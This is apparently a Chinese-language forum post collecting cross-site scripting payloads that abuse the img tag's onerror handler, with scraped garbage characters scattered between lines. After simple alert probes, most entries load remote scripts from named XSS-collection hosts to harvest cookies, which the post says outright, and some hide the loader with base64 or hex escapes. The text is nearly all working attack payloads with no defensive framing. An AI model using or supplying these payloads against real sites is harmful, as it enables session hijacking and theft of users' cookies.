img标签的常用几种测试手段

admin

<img src='non-exist.jpg'onerror="alert('xss')">
<img src=# onerror=alert(123)>
8 t$ K* T9 H: [& C5 D  Q1 E4 `<img src=# onerror=alert(document.cookie)>
下面是利用平台钓cookie的
+ b% H% ?& a$ O7 }: f <img src=x onerror=s=createElement("script");body.appendChild(s);s.src="http://xss.baido.hk/JnFrlW?1445149342";>
2 h" y2 B1 }0 o- k+ z
/ g  V1 g) n4 N5 f1 N( `: h6 ~
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='你的js地址';>
; I; i/ u* O) L: b<img src=x onerror=with(document)body.appendChild(document.createElement(‘script‘)).src="//xss.re/974"></img>
“><img src=x onerror=”with(document)body.appendChild(createElement(‘script’)).src=’//xss.re/974’”></img>
6 C# @$ d! g2 i7 k( f5 v/ Q<img src=1 onerror=jQuery.getScript("//xss.re/974")>
5 n9 y! {; K) ^" t0 ~<img src="#">
% G" ^# F( z  K1 H6 }( E6 e) v<img src="#">
+ l6 p* n' k& A3 j5 [/ A<img src=‘0‘ onerror=with(document)body.appendChild(createElement(‘script‘)).src=‘/xx‘>
9 d9 F- j' }. u; Z% F<img src="http://fs3u.dajie.com/2013/01/05/146/13573533461773126m.jpg" border="0">
<img src=i onerror=eval(jQuery.getScript(‘//xss.tw/4091‘))>
<img src=N onerror=eval(javascript:document.write(unescape(‘ <script src="http://xxx.js"></script>‘));)>
<img src=x onerror=document.body.appendChild(document.createElement(‘script‘)).src=‘//xxx.xxx/a.js‘>
& c% W- B# p; Q* w5 [. Y* B- V" ?  k<img src=x width="0" height="0"></img>
! \% f* `. J9 y7 j) x) m' Q2 T<img src=1 onerror=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cHM6Ly94Lnh4ZS5sYS9WSic7Ym9keS5hcHBlbmRDaGlsZChzKQ=='))>
/ H1 j4 h' Z  W' x' @0 j<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.baido.hk/7OO7GQ?1510065652';>
( `; E% T$ z9 J' C